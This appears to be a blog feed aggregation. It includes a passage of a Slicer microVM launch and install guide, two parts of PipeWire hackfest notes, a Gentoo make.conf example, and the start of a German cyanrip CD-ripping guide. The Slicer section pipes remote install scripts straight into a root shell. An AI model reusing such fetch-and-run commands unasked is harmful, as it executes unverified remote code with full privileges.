The demo features the Serial Over SSH (SOS) console which is great for chaos testing and debugging tricky issues without relying on networking.

Stacking value - autoscaling Kubernetes - on your own hardware

With the original versions of Slicer, we were already able to stand up a HA K3s cluster within about a minute, but with the new version, we can autoscale nodes through the upstream Kubernetes Cluster Autoscaler project.

This is the pinnacle of cool for me, but it has a real purpose - OpenFaaS customers run on spot instances, and autoscaling groups. Typically you just can't reproduce that on your own kit.

I'll be putting up our fork of the Cluster Autoscaler project on GitHub soon.

K3sup Pro if you need K3s

Whilst the K3sup CE edition with its k3sup install/join commands is ideal for experimentation, K3sup Pro was built to satisfy long standing requests for an IaaC/GitOps experience.

K3sup Pro adds a Terraform-like plan and apply command to automate installations both small and large - running in parallel.

What's more the plan command accepts the output from Slicer's API, so you can run slicer up then k3sup plan/apply and you have a kubeconfig for a HA K3s cluster, within a minute or two.

The plan file can be customised and retained in Git for maintenance and updates.

K3sup Pro is a huge time saver, and free for my GitHub Sponsors.

Learn more about K3sup Pro

Everything you get for the price of a coffee

"Oh, I expected it to be free."

OpenFaaS was one of the first projects I built, and it was open-source from the start. Many people remember me for that. But those were different times, and now we need to fund salaries to enable full-time R&D and support.

In a way this reaction is a good thing - there are so many free tools available for to you. With Slicer Home Edition, we self-select the people who really want to use the software and want to join a community of self-hosters, home-labbers, and cloud native developers.

At some point in the future, we may move Slicer Home Edition to a "Once" model, pay once and use it forever. Something like 295 USD one-off, for lifetime access.

If you're already a sponsor, you get all of the below to play with as much as you like for free. So long as it's not used at or for your work/business/dayjob.

Included for 25 USD / mo is:

Slicer Home Edition - for developers and homelabs - slicer up bare metal into lightweight microVMs
K3sup Pro - plan and apply K3s installations, with a terraform style approach - run in parallel
OpenFaaS Edge - includes many of the commercial features of OpenFaaS - but licensed only for your personal, use (not at/for work)
Debug GitHub Actions jobs over SSH using the ssh gateway by actuated
Direct access to my sponsors portal, with all my past sponsors emails and 20% off my eBooks
50% off a 1:1 meeting with me via Zoom for advice & direction in the portal
Access to the private Discord server for help and discussion

The first five people to Tweet a screenshot of their machine running Slicer will win a limited edition SlicerVM.com Test Pilot mug. Shipping restrictions may apply.

The limited edition SlicerVM.com Test Pilot mug.

Quick and dirty installation of Slicer

You'll need a sponsorship as mentioned above. This is used to activate your Slicer installation.

Within the sponsorship, you also get free access to K3sup Pro with its plan and apply features that take the output from Slicer and install a multi-master HA K3s cluster all in parallel.

These instructions are quick - and dirty. More will follow, but the technical amongst us will have no issues overlooking this for now.

You will need a system with Linux installed - I recommend Ubuntu 22.04 or 24.04. Arch Linux and RHEL-like systems should also work but I can't support you directly.

The point is that a host running slicer is dedicated to this one task, not a general purpose system with all kinds of other software installed.

First use the actuated installer to install the pre-requisites. We aren't using actuated here, but they share a lot of DNA.

In time, we'll spin out a separate installer for Slicer.

mkdir -p ~/.actuated
touch ~/.actuated/LICENSE

(
# Install arkade
curl -sLS https://get.arkade.dev | sudo sh

# Use arkade to extract the agent from its OCI container image
arkade oci install ghcr.io/openfaasltd/actuated-agent:latest --path ./agent
chmod +x ./agent/agent*
sudo mv ./agent/agent* /usr/local/bin/
)

(
cd agent
sudo -E ./install.sh
)

Next, get the Slicer binary itself:

sudo -E arkade oci install ghcr.io/openfaasltd/slicer:latest --path /usr/local/bin

Once you have the Slicer binary, activate it with your new or existing GitHub Sponsorship.

slicer activate

Any colour you want, so long as it's black

This phrase has been attributed to Henry Ford, and it applies to Slicer too.

Slicer is made for cloud development, and production workloads. It's Linux only, x86_64 and Arm64.

We use Ubuntu LTS for all of our workstation and server deployments at OpenFaaS Ltd, so the root filesystem is Ubuntu based.

There is also a Rocky Linux image for those who prefer a RHEL-like experience, or need to work with RHEL/Fedora deployments for customer support.

A quick template for a VM

Slicer uses a YAML file to define a host group, and then a number (count) of VMs to create within that group. If you start it up with a count of 0, then you can use the API or CLI (slicer vm add) to create hosts later.

We'll cover customisation a bit later on, but for now, let's get something working - and then you can connect via SSH and customise the VM to your heart's content.

There are various configuration options and settings for storage and networking, so I'm going to give you the most basic to get started with.

We'll start by using a plain disk image, which is slower to create, but is persistent across reboots and doesn't require us to consider a production ready configuration of i.e. ZFS.

Create vm-image.yaml:

config:
  host_groups:
  - name: vm
    storage: image
    storage_size: 25G
    count: 1
    vcpu: 2
    ram_gb: 4
    network:
      bridge: brvm0
      tap_prefix: vmtap
      gateway: 192.168.137.1/24

  github_user: alexellis

  kernel_image: "ghcr.io/openfaasltd/actuated-kernel:5.10.240-x86_64-latest"
  image: "ghcr.io/openfaasltd/slicer-systemd:5.10.240-x86_64-latest"

  api:
    port: 8080
    bind_address: "127.0.0.1:"
    auth:
      enabled: true

  ssh:
    port: 2222
    bind_address: "0.0.0.0:"

  hypervisor: firecracker

For a Raspberry Pi 5 with an NVMe drive, or any kind of other Arm64 server, change the image and kernel as follows:

-  kernel_image: "ghcr.io/openfaasltd/actuated-kernel:5.10.240-x86_64-latest"
-  image: "ghcr.io/openfaasltd/slicer-systemd:5.10.240-x86_64-latest"
+  kernel_image: "ghcr.io/openfaasltd/actuated-kernel:6.1.90-aarch64-latest"
+  image: "ghcr.io/openfaasltd/slicer-systemd-arm64:6.1.90-aarch64-latest"

Run the following:

sudo -E ./slicer up ./vm-image.yaml

The Kernel and Root filesystem will be downloaded and unpacked into containerd. These will then be used to clone a new disk of the size set via storage_size.

Feel free to customise the count which is the number of VMs to create in the group, and the vcpu or ram_gb fields.

You can connect to the API via http://127.0.0.1:8080 - make sure you use the Authorization: Bearer header along with the token generated on start-up.

The Serial Over SSH console is also available at ssh -p 2222 user@127.0.0.1 and is exposed on all interfaces, so you can connect to it remotely.

The github_user field is used to pre-program an authorized_keys entry for your user, so make sure your SSH keys are up to date on user profile on GitHub.

You will generally not SSH into a machine on the host itself, but from your laptop or workstation, or even remotely. Make sure that you read the output when Slicer starts up as it'll show you how to add the route for Linux and MacOS.

Then whenever you're ready you can connect directly to the VM over SSH using the ubuntu user:

ssh ubuntu@192.168.137.2

You can "reset" the VM by hitting Control + C then rm -rf vm-1.img followed by restarting slicer.

Bear in mind that the SSH host key will have changed, so run:

ssh-keygen -R 192.168.137.2

Running Slicer as a daemon

Sometimes when we're doing much longer term testing, we'll set up Slicer to run as a systemd service, so when machines are powered off for the weekend (to save power) Everything is ready and waiting exactly as we left it.

To make slicer permanent create a systemd unit file i.e. vm.service:

[Unit]
Description=Slicer

[Service]
User=root
Type=simple
WorkingDirectory=/home/alex
ExecStart=sudo -E /usr/local/bin/slicer up \
  /home/alex/vm-image.yaml \
  --license-file /home/alex/.slicer/LICENSE
Restart=always
RestartSec=30s
KillMode=mixed
TimeoutStopSec=30

[Install]
WantedBy=multi-user.target

Then enable the service and start it.

You can have multiple slicer daemons running so long as their networking and host group names do not clash.

How do I customise the image or setup userdata?

The preferred way to customise an image is to supply a userdata script. Note this is not cloud-init, but a bash script. Formal cloud-init makes starting microVMs very slow which is a non-goal for us here.

The userdata script will run as root on first boot.

config:
  host_groups:
  - name: vm
+   userdata: |
+      #!/bin/bash
+      echo "Enabling nginx"
+      apt-get update
+      apt-get install -y nginx
+      systemctl enable nginx --now

Or perhaps install Docker, and make the default user able to access the daemon:

config:
  host_groups:
  - name: vm
+   userdata: |
+      #!/bin/bash
+      echo "Enabling Docker"
+      curl -sLS https://get.docker.com | sh
+      usermod -aG docker ubuntu

For a more permanent setup, you could simply take the root filesystem, and extend it via Docker, publish a new image and then update your YAML file.

i.e.

You could publish this new image via a CI pipeline using GitLab CI, GitHub Actions, or just a regular bash script or cron job.

Then update your vm-image.yaml to use your new image:

config:
  host_groups:
  - name: vm
-    image: "ghcr.io/openfaasltd/slicer-systemd:5.10.240-x86_64-latest"
+    image: "docker.io/alexellis2/slicer-nginx:5.10.240-x86_64-latest"

You can also create hosts via API, passing along your custom userdata script, which is the technique I used in the Cluster Autoscaler demo above.

How does Slicer compare to other tools I already know?

lxd/multipass - this was the first tool I tried to use when testing large scale deployments of Kubernetes. We had already built-up experience with multipass and recommend it for testing OpenFaaS Edge / faasd CE. But it took about 3 minutes to launch each VM, and even longer to delete them. It was so painfully slow, and we'd already built up so much operational knowledge of microVMs through actuated, that we decided to build our own tool.

incbus - a fork of lxd with lofty ambitions - many moving parts need to be understood, configured and decisions made before you can launch a VM. It's designed to be general purpose and even covers its own internal clustering, which in my mind makes it the Kubernetes of VM tools - make of that what you want.

QEMU/libvirt - the syntax for qemu is cryptic at best, and just not built to manage multiple VMs. libvirt is living in the 90s, it requires a lot of boilerplate XML and the networking is too low level for working quickly. Unlike microVMs, QEMU can run Windows, MacOS, and other OSes.

Kata Containers - Kata Containers is a project designed to run individual Pods (workloads), not Kubernetes nodes within microVMs.

kubevirt - kubevirt is an attempt to make VMs a workload similar to Pods in Kubernetes. It is naturally slower, more cumbersome and requires a Kubernetes cluster to function. I've often seen it used in homelabs to run Windows.

Proxmox VE - the much beloved tool of the home-lab community, despite being something of a kitchen sink, and rather heavyweight. So if you cut your teeth on "click and point ops" and enjoy something that makes you feel like a VMware admin, then it's probably a good option to consider instead of Slicer.

actuated - managed self-hosted runners for GitHub Actions and GitLab CI, where the runners are launched in one-shot microVMs on your own cloud.

Slicer is to microVMs, what Docker was to Linux namespaces

Slicer is a modern alternative focused on super fast creation and deletion of microVMs. It comes with SSH preconfigured, and systemd installed, along with just enough Kernel drivers to run containers, Kubernetes, and eBPF. It's fast and lean, and only does just enough for R&D and running production applications.

Slicer was written by a developer for making efficient use of large bare-metal hosts, but is equally at home on a Hetzner Robot / Auction instance, splitting up a 16 core / 128GB A102 host into 3-5 dedicated microVMs for various production applications - or a production-ready K3s cluster.

Slicer is a daemon, and can be run with systemd so it's always there when your machine reboots.

Slicer comes with a Serial Over SSH console for easy out of band access. Its API can be used to add and remove hosts dynamically and rapidly for autoscaling.

And unlike the other tools I mentioned, Slicer is equally at home running one-shot tasks like CI jobs, autoscaled Kubernetes nodes, isolated environments for AI agents, and any other kind of serverless task.

Demo of one-shot / API mode

Wrapping up

The Slicer Preview is strictly licensed as a "Home Edition" for use by individuals, it is not licensed for use within or for a business - this will require a commercial agreement. But having said that, feel free to try it out and get back to me via Twitter @alexellisuk.

Get started:

Become a GitHub sponsor at 25 USD / mo or higher, if you are not already.
Find a machine and install Linux onto it, or go to Hetzner Robot (bare metal cloud) and set up a beefy bare-metal host for 30-40 EUR / month. The Intel EX44 is fantastic value. I also talk about the Intel N100 and other mini PCs in my recent blog post.
Email me at alex@openfaas.com and I'll send you a Discord invite so we can talk about your use-case, help you get started, and get your feedback.

In the next post we'll look at:

How to run the same, but on Arm, i.e. a Raspberry Pi 5 or Asahi Linux on a Mac Mini M1 or M2
How to use ZFS snapshots and clones for instant boot of new VMs, instead of static disk files
How to use the slicer vm list, slicer vm top, slicer vm exec commands

We have also launched a documentation site with examples such as:

Launch a large HA K3s cluster
Chaos test a Kubernetes operator through its network whilst retaining serial access
Run multiple isolated, production applications on a bare-metal host on Hetzner
Autoscale a K3s cluster
Run a K3s cluster across multiple hosts
Mount a GPU with Ollama for LLMs
Run Slicer on your Raspberry PI
Run OpenFaaS Edge (Sponsors Edition) or faasd CE on a microVM

Based upon your feedback, we'll add more examples and changes to the CLI, REST API and configuration format.

Whilst you're getting into things, here are a few more videos on Slicer:

Footnotes:

[1] Yes, in some Kubernetes distributions you can force the default limit above 100 slightly, but on the machine in question, even doubling that limit would not make effective use of the machine's capabilities. Exercise judgement if/when increasing the limit.

Notes from the PipeWire Hackfest 2026: Part 2

Mon, 22 Jun 2026 19:16:33 +0000

(these notes are being posted in two parts to make the length more manageable, part 1 is here)

Continuing from where we left off, about topics discussed at the PipeWire hackfest in Nice…

DSP features

We discussed a number of features related to digital signal processing blocks which are typically realised on specialised hardware (often a DSP core that can directly interface with physical audio inputs and outputs on your laptop/phone/…).

There is currently no standard way for the firmware running on these DSPs to signal what features can be realised directly on DSP. We also would want to allow such features, if exposed from PipeWire, to be realisable on CPU.

Now we do have a way to hide away signal processing in a specific node, which is the filter-graph parameter on the audioconvert node that wraps all audio nodes.

We could extend this mechanism to allow the internal node (say the ALSA node implementation), to expose what filtering it can perform “in hardware” (i.e. the software running on DSP). This would allow the audioconvert to delegate some or all processing to the internal node, with fallbacks available on the CPU.

We would need a number of pieces to do this, including:

Some standard definition of filters and associated parameters, so different implementations could have a standard “API” to express any given filter.
The DSP block would need to expose what features it has and how they might be used. We could imagine extending the ALSA UCM configuration to do that.
The audioconvert node would need to have a way to push down filter-graph params to the internal node, and negotiate what work it is doing vs. what is being delegated

This is a non-trivial effort, but gives us some sketch of what might be possible.

More DSP features

In addition to standard filters, we spoke about two topics that have come up commonly in the past.

The first is some way to expose the processing graph in the DSP, so PipeWire and other userspace daemons have a better view of what is happening on the DSP. With the ability to push dynamic topologies to DSP, there was some renewed interest in exposing and using the ASoC DAPM widget graph. As always, the devil is in the details.

The second thing that came up is speaker calibration. There is a lot of processing and tuning that goes into driving speakers on modern devices as much as possible without destroying them. Some of these are one-time parameters decided at product design time, and some of these translate to runtime parameters based on voltage and current feedback from the speaker amplifier.

For some systems (like Qualcomm platforms), speaker calibration might be run on each system start to perform dynamic tuning. We had some discussion of how this might tie in with the rest of the system for both determining the parameters (separate startup daemon vs. in-process initialisation), as well as uploading parameters to the speaker (some ALSA UCM extensions to load parameters on PCM open but before start, or preloading parameters into ALSA kernel controls and having the driver feed them in at the right point).

Volume limits

A way to set a limit on the maximum volume for a given device has been a common user request ([1] [2]). We discussed the possibility of creating a per-route property (with a fallback to the node, if there are no routes), which WirePlumber could manage to provide users a simple interface to control.

Since the hackfest, Wim has already done some work on this, and we need to bubble this up as a more user-accessible setting.

Performance

A number of performance-related topics were discussed.

The first was an option of a combined DSP mode, where instead of one port per channel, a node would expose one port for all the channels of the stream (but continue to run in the configured “DSP” format/rate). This would improve stream performance for non-JACK-like use-cases, especially in resource-constrained environments.

On the WirePlumber side, there was a discussion about using LuaJIT instead of standard Lua. There are some compatibility issues to be determined there (such as language version supported, etc.), but there might be some quick performance wins to be made if this is feasible.

There is a plan to move some of the WirePlumber core to Rust, and that might be a good time to also port over some of the more standard functionality that tends not to change from Lua to Rust (though that could happen in a Lua->C transition and does not really need to wait on a Rust port).

Declarative Session Management

Another interesting, and broader, thread is the imperative nature of WirePlumber scripts – that is, policy decisions and associated action are often interwoven. It might be helpful to be able to make a clearer split where all policy decisions are first run, and then decisions are translated into actions at one go.

There are some historical choices that make this hard – for example, changing the profile of a device might create and destroy nodes, which makes it hard to be able to make decisions that are independent of the action. There were some ideas around redoing the profile concept such that all nodes are always exposed, but nodes could get a new state to signal availability (and profiles that would allow availability to change). That might make a declarative system possible to implement.

We also discussed the possibility of a “transaction” system. Something that would allow a client to submit a set of objects (think links between nodes), and then “commit” that transaction. This would also help reduce the number of roundtrips between PipeWire and WirePlumber, and generally help performance.

Bluetooth

Being colocated with the BlueZ face-to-face meeting, we had representation from the BlueZ community, so we were able to dive into a number of topics related to Bluetooth, primarily LE Audio.

The first topic was Auracast, the LE Audio system for broadcast audio, allowing listeners to tune into public broadcasts in a space, or to have a device stream audio to multiple headsets concurrently for shared listening. George had a demo system showing an implementation of Auracast with PipeWire, WirePlumber and BlueZ.

We had some discussion of where this feature should live, and the consensus was that we would probably want a separate daemon to manage Auracast settings and loading up the appropriate nodes (either for receiving or sending) based on users’ preferences.

This led to a more general discussion about the current split of the Bluetooth implementation in PipeWire being SPA modules, which include streaming and some policy, and a lot more policy living inside WirePlumber. We could, and likely should, move all of this into higher level PipeWire modules instead, which could make these easier to work with overall.

There was also a discussion about the complexities of LE Audio, and the state of the current user experience with actual devices:

Device interop is not always great, as the spec is new, the BlueZ implementation is still being completed, and device implementations seem of variable quality
Reliable pairing/feature detection is hard, partly due to how BlueZ exposes the ability to talk to devices in Bluetooth Classic or Bluetooth LE modes
Pairing left/right pairs currently needs individual pairing, which does not seem to be needed by other implementations (Android for example)
Inter-device synchronisation might need some work as well

While there is much work to be done here, the pieces are coming together for first-class LE Audio support on Linux-based systems.

Audio analytics

We also spoke about “analytics” – using local neural networks to implement things like text-to-speech, speech-to-text, language translation, or other forms of processing.

These pose an interesting problem, because they look like a standard-ish audio stream on one side, but are effectively a sparse stream on the other side if we are talking about text. Even conversion between languages does not look like a standard filter, because the underlying model might consume a varying amount of data before generating an output, and the input and output lengths are not tightly correlated.

While it should be possible to implement such a system with PipeWire, it is not quite clear whether we should. As the application space in this area becomes more mature, it may become clearer what the right place in the stack is for these features.

Click detection and elimination

We spoke about detecting and eliminating clicks at the stop or start of a stream.

If an application is playing back audio, and suddenly stops (i.e. feeds silence, or just nothing), then the sudden drop in the signal might cause a click to be output. If you think of the corresponding waveform as representing the physical displacement of the speaker, then the drop to zero is like a sudden brake to a halt, which isn’t possible, and manifests as a jolt that you hear as a clicky noise. The same analogy holds for resuming from a pause, but in the opposite direction.

The solution is usually to smooth out the end of the sound by fading out, but most applications do not do this, so this problem manifests quite clearly for most browser or application streams if you listen closely.

Wim described a number of experiments he has done for detecting such abrupt changes in audioconvert, but he was not happy with the results. We discussed some of these approaches, and what might work as acceptable tradeoffs to capture the most common cases while still trying to respect the integrity of the signal being sent by the application.

(sorry about the vagueness here, I missed taking more detailed notes)

Miscellanea

The rest of the discussion covered disparate topics that I don’t have long form notes on:

Hardware profiles: Shipping hardware-specific configuration for PipeWire and WirePlumber is hard. We discussed some approaches using context properties and conditions, but this is an area that needs more work.
Data loop management: PipeWire allows splitting work across data loops so different nodes in a graph can be assigned to different threads. This is currently an all-or-nothing system, where either all nodes go to a single data loop, or every node must be manually assigned a specific data loop. There was some desire to have the ability for there to be a default data loop to make the manual management less cumbersome.
ACP -> UCM: PipeWire inherits the ALSA card profile configuration from PulseAudio, which has been helpful in making the migration path smoother on most hardware. There was always some desire to have a single configuration system (probably ALSA UCM) for all hardware, but this likely needs some work on what we can express in UCM configuration, but we also need to clean up how we translate our UCM handling code (George has an RFC for this).

Thanks

That’s it, thank you for reading if you made it this far, and a shout out to George, Mark, and others organising the event!

It was great to see continued interest and so much exciting work that is yet to come. I hope to see more of the community in the next edition of the hackfest.

Notes from the PipeWire Hackfest 2026: Part 1

Mon, 22 Jun 2026 19:16:33 +0000

(these notes are being posted in two parts to make the length more manageable, part 2 is here)

The PipeWire community organised a hackfest in Nice, France, colocated with Embedded Recipes, the GStreamer hackfest, and a number of other events.

In attendance were members of the upstream community, as well as folks interested in PipeWire from Collabora, Red Hat, Qualcomm, Stream Unlimited, Texas Instruments, and Valve. In some cases these were the same person wearing upstream and professional hats, as some of us often do! :)

It was two days of fruitful and deep technical discussions, and lovely evenings hanging out in the Côte d’Azur. Shout out to George Kiagiadakis and Mark Filion for putting this together!

Beautiful view of the Côte d’Azur

The topics were disparate and can be somewhat esoteric for folks who are not familiar with the Linux audio space. I will try to strike a balance between providing context and summarising the finer details we discussed. Please feel free to write in if I missed or can expand on anything.

Multistream nodes

A recurring topic for the last couple of years has been supporting multistream nodes. The PipeWire API currently offers a pw_stream interface that can offer a node with single input or output (closer to the PulseAudio API), and the pw_filter interface that provides a lower-level freeform API to individually manage ports on a node (closer to the JACK API).

The stream API while convenient, can be a bit unwieldy for realising concepts such as loopbacks and filters, because each set of inputs and outputs needs to be implemented as an individual node. If you’ve ever loaded the loopback module, for example, you would have noticed that there are two nodes created for each instance.

Wim has created a version of the API that allows a node to provide multiple streams, which allows us to keep the conveniences of the stream API, but more easily express ideas like the loopbacks, filters, etc. Each stream is effectively a group of ports on the node, and nodes can have an arbitrary number of input and output streams.

The code on the PipeWire side is ready. The primary idea is there will be a PortConfig param per stream, and this is where the format of the stream, and other metadata expressed on port groups (which is essentially what a stream is) will live.

We discussed what is needed in WirePlumber to make sure the linking logic adapts to this concept, and Julian will be implementing that in the coming weeks.

Settings

PipeWire has a generic metadata system based on the JACK API that is used for storing metadata (allowing you to attach a key/type/value, optionally attached to an object). This is also used by WirePlumber to provide its settings system (see wpctl settings), along with some key features such as a schema and persistence.

We discussed that it might be nicer to have the concept of settings as a first-class citizen, and possibly even standardise some settings for desktop wide usage (such as common processing elements). There was consensus that:

A new settings interface (instead of extending metadata) would make sense
The API should be asynchronous, and can fail
A schema for valid settings and their types could be exposed as a well-known metadata key
Implementors of the interface would perform validation

Security

We spoke about the current state of security for applications using PipeWire. For context, PipeWire has a fine-grained permissions model where each client can have selective access to what objects are visible to it, and what actions it may perform. There is also a less granular system, where a “manager” application can connect to the manager socket for full access. We broadly think about restricted security for sandboxed applications (primarily Flatpak).

One scenario is sandboxed PulseAudio applications getting full access via the pipewire-pulse server on the host. The discussion on this concluded that there is a way for pipewire-pulse to forward enough security-related information from sandboxed applications for us to apply sandbox restrictions to them, and we need to make that system work.

There was a discussion that it might be reasonable for our default policies to apply for all applications connecting to the regular PipeWire socket to be restricted (this does not prevent malicious applications from accessing the manager socket, but helps applications not do bad things erroneously).

This might be disruptive to introduce as a default change, so we might implement it via an opt-in setting so that there can be some broader testing and refinement of default permissions before flipping the switch for all users.

There are a number of mechanisms related to how security context properties are relayed, and how those properties are used by WirePlumber to determine permissions. We need to document and verify the expected behaviour here.

Flatpak and Portals

Relatedly there was a discussion about how things should fit in with Flatpak, and Sebastian Wick from the Flatpak team joined us briefly on the second day.

There was some discussion of making sure the PulseAudio socket is provided to the sandbox in a similar way to the PipeWire socket, such that some additional security properties can be assigned from the host in a way that the sandboxed client cannot override.

We agreed that we needed the ability for applications to specify with some granularity what permissions they require (via portals), and for us to grant only that (with user intervention, if needed). Broadly this is:

Playback (optionally enumeration of sinks)
Capture (optionally enumeration of sources)
Default visibility of only the application’s own nodes

We also spoke about how we might want to associate PipeWire objects with applications. With Flatpak moving to using a cgroup for each application, this should become easier. We may also want to be able to have a way to associate a stream with a specific window (to, for example, share a window and its audio), which should be possible.

It was also noted that for some classes of applications, we may want a way for users to allow some of these permissions at install time (for example, a remote desktop application asking permission on every start can be annoying). This is already possible with Flatpak manifests (which are static, but we might need to add some more options here), and there is a potential entitlement system being discussed (for server-driven overrides to be distributed for malicious applications, for example).

Encapsulation and Collections

One topic that came up last year is the ability to encapsulate a group of nodes such that they appear as a single node to other applications in the system. This could be useful for:

Collapsing all the output from an application so it appears to be providing a single stream
Grouping all the filters for a sink or source node, and making it appear as a single node with all the processing hidden away

One piece to making such a system possible is to have a first-class notion of this group. Julian has an implementation of such an entity, called a “collection”. This is currently implemented on top of PipeWire metadata, but we agree that this is likely worth having an explicit PipeWire interface for.

Once that is in place, we discussed the possibility of having a smarter “proxy” node that can act as the interface that translates from the “outside” of the encapsulated region to the “inside”, so that format selection, volume changes, etc. can properly be proxied to the underlying device, for example.

Tooling improvements

It was noted that the tools we have (such as pw-top and pw-dot) can make it hard to get at some information, such as negotiated formats, rates, etc. They can also be “noisy” when we have a large number of filters and loopbacks.

While we did not have a concrete plan to tackle this, some of us have been playing with LLM-based tooling to generate some helper code for this sort of thing. At least my attempts have been too sloppy to share as yet, but it should be possible to get something useful with a structured approach.

That’s it for now. Watch this space for part 2!

Adventures with Tape

Sun, 21 Jun 2026 11:25:19 +0000

For a long time I’ve run my own backups to a portable hard drive using Duplicity / Dejavu. It’s worked really well, it’s dammed slow to pull back a file I’ve accidentally deleted, or need an old version of (which I probably go back to every 6 months or so), but it’s fast to backup, … Continue reading Adventures with Tape→

Gentoo make.conf example file

Sun, 21 Jun 2026 01:01:25 +0000

This is my current make.conf, I am sharing it for the sake of reference.

Please do not copy it directly, the global USE flags, VIDEO_CARDS, CPU_FLAGS_X86 likely would not suite your installation or supported CPU extensions. For those things as well as FEATURES you will want to customize it to your needs and liking.

# Please consult /usr/share/portage/config/make.conf.example for a more detailed example.

CFLAGS="-O2 -pipe -march=native"
CXXFLAGS="${CFLAGS}"

WARNING: Changing your CHOST is not something that should be done lightly.
Please consult http://www.gentoo.org/doc/en/change-chost.xml before changing.
CHOST="x86_64-pc-linux-gnu"

# Use the 'stable' branch - 'testing' no longer required for Gnome 3.
ACCEPT_KEYWORDS="amd64"

# USE flags
# These are global, change accordingly to your desired configuration and read the wiki for your window manager or desktop 
# environment since specific use flags may be recommended such as how XFCE does.
# These are for a KDE system on a hardened profile.
USE="branding bindist ipv6 consolekit gpm mtp opengl X dbus -modemmanager jpeg \
lock session startup-notification -wireless udev -gnome -systemd -minimal alsa semantic-desktop phonon \
exif glamor qt3support mtp infinality pam tcpd ssl spell flac vorbis cups xinerama xscreensaver \
truetype infinality xcb udisks upower egl policykit png pdf mp3 x264 mng tiff xml ogg pngsdl \
-wifi -handbook -mysql lcms xcomposite libnotify qml kipi custom-cflags custom-optimization \
gtk gtk2 qt5 -qt4 kde -cups networkmanager"

# Video cards for X11 drivers
# https://wiki.gentoo.org/wiki/Template:VIDEO_CARDS
# Additionally check out the wiki page for your vendors video cards
VIDEO_CARDS="radeon radeonsi vesa fbdev"

# Input devices for Xorg
# If you have a touch pad add 'synaptics'
INPUT_DEVICES="evdev keyboard mouse"

# Make concurrency level
# -j should be total amount of cores/threads - 1 usually. So a system with 8 cores/threads might have 7 here
MAKEOPTS="-j7 -l8"

# Supported CPU flags to be used for USE
# Use app-portage/cpuid2cpuflags to find your CPUs supported flags and then put them here. Then recompile packages that have 
# support for those new CPU flags: emerge --ask --changed-use --deep @world
CPU_FLAGS_X86="mmx mmxext sse sse2 sse3 ssse3"

# Gentoo mirrors
# Change accordingly to nearby mirrors https://gentoo.org/downloads/mirrors/
GENTOO_MIRRORS="rsync://rsync.gtlib.gatech.edu/gentoo ftp://gentoo.netnitco.net/pub/mirrors/gentoo/source/ \
rsync://gentoo.cs.uni.edu/gentoo-distfiles"

# FEATURES defines actions portage takes by default. This is an incremental
# variable. See the make.conf(5) man page for a complete list of supported
# values and their respective meanings. 

# For the webrsync-gpg feature addtional configuration is required outside of the make.conf 
# https://wiki.gentoo.org/wiki/Sakaki%27s_EFI_Install_Guide/Using_Your_New_Gentoo_System#Switching_to_emerge-webrsync_for_Security_.28Optional.29

FEATURES="webrsync-gpg sandbox sign userpriv usersandbox sfperms userfetch strict parallel-fetch"

# If the ccache feature is enabled, leave this
# CCACHE_SIZE="2G"

# This will install the keyring to the /var/lib/gentoo/gkeys/keyrings/gentoo/release 
# location. 
PORTAGE_GPG_DIR="/var/lib/gentoo/gkeys/keyrings/gentoo/release"

# Disable 'emerge --sync' so emerge-webrsync has to be used
SYNC=""

# EMERGE_DEFAULT_OPTS allows emerge to act as if certain options are specified on every run.
# Useful options include --ask, --verbose, --usepkg and many others. Options that are not
# useful, such as --help, are not filtered. 
EMERGE_DEFAULT_OPTS="--quiet-build=y --keep-going --jobs=8 --load-average=8"

# languages for localization reference below link
# https://wiki.gentoo.org/wiki//etc/portage/make.conf#LINGUAS
LINGUAS="en en_US en_GB"
L10N="en en-US en-GB"

After making changes to INPUT_DEVICES, VIDEO_CARDS, USE, etc you should update the system using the following command so the changes take effect:

emerge --ask --changed-use --deep @world

Audio-CDs rippen unter Linux mit cyanrip

Sat, 20 Jun 2026 14:10:34 +0000

Eine Anleitung, wie man mithilfe von cyanrip unter Linux schnell und einfach Audio-CDs rippen und in FLAC oder MP3 konvertieren kann.

CD-Sektionen in Second-Hand-Stores zu durchstöbern, finde ich enorm vergnüglich. Die dabei erworbenen Schätzchen wandle ich, zu Hause angekommen, natürlich sofort in FLAC-Dateien um, man ist ja nicht umsonst Digital Native und Datenhorder. Die Files landen dann auf meinem Navidrome-Server, auf den ich von überall per Webbrowser und per App zugreifen kann.

Nach meinem kürzlichen OS-Umstieg habe ich einige Zeit gebraucht, um einen robusten Workflow zum CD-Rippen unter Linux zu finden. Ich skizziere den hier mal, vielleicht hilft’s ja jemandem. ~~Auf jeden Fall mir, wenn ich in zwei Wochen schon wieder vergessen habe, wie es geht.~~

cyanrip installieren

Zum Rippen setze ich das Kommandozeilen-Tool cyanrip ein. Es ist schnell und schmal, soll außerdem eine ähnlich gute Fehlertoleranz bei zerkratzten CDs wie das gottgleiche EAC unter Windows haben.

Unter CachyOS, Arch und Arch-Sprösslingen kann man cyanrip mit

yay -S cyanrip

installieren. Unter Ubuntu, Mint und anderen Debian-Derivaten wirft man

apt install cyanrip

in die Konsole. Installationsanweisungen für andere Distributionen und FreeBSD findet man auf der GitHub-Seite, einen Installer für Windows kann man sich bei den Releases hinabzupfen.

Offset ermitteln

Nach der Installation muss man einmalig den sogenannten Offset-Wert herausfinden. Der ist abhängig vom Laufwerk, ihn muss man beim Rippen immer angeben.

Dazu lege ich eine möglichst populäre Audio-CD ins Laufwerk und gebe den Befehl

cyanrip -f

in die Konsole ein. Falls die CD in der AccuRip-Datenbank bekannt ist, erhält man eine Ausgabe, die ungefähr so anfängt:

Searching for drive offset, enabling AccuRip and disabling MusicBrainz and Cover art fetching...
Checking /dev/cdrom for cdrom...
                CDROM sensed: HL-DT-ST DVDRAM GH24NSB0  LM01 SCSI CD-ROM


Opening drive...
Loading data for track 1...
Data loaded, searching for offsets...
Offset of +6 found in track 1, trying to confirm with another track
Loading data for track 2...
Data loaded, searching for offsets...
Offset of +6 confirmed (confidence: 2) in track 2, trying to confirm with another track

Wichtig ist die Information „Offset of +6 found“. Wenn das drei, vier Male da steht, darf das als bestätigt gelten, dann kann man den Ermittlungsprozess auch abbrechen (Strg + C).

Der Offset-Wert bei meinem verwendeten Laufwerk ist also 6, bei deinem Laufwerk ist er vielleicht anders. Den Offset-Wert einfach merken, neben das Admin-Passwort per Post-It an den Monitor kleben, mit Edding aufs Laufwerk schreiben oder auf die Wade tätowieren lassen – gibt ja genug Möglichkeiten. Im Folgenden gebe ich alle Befehle mit meinem Offset-Wert von 6 an.

Metadaten identifizieren

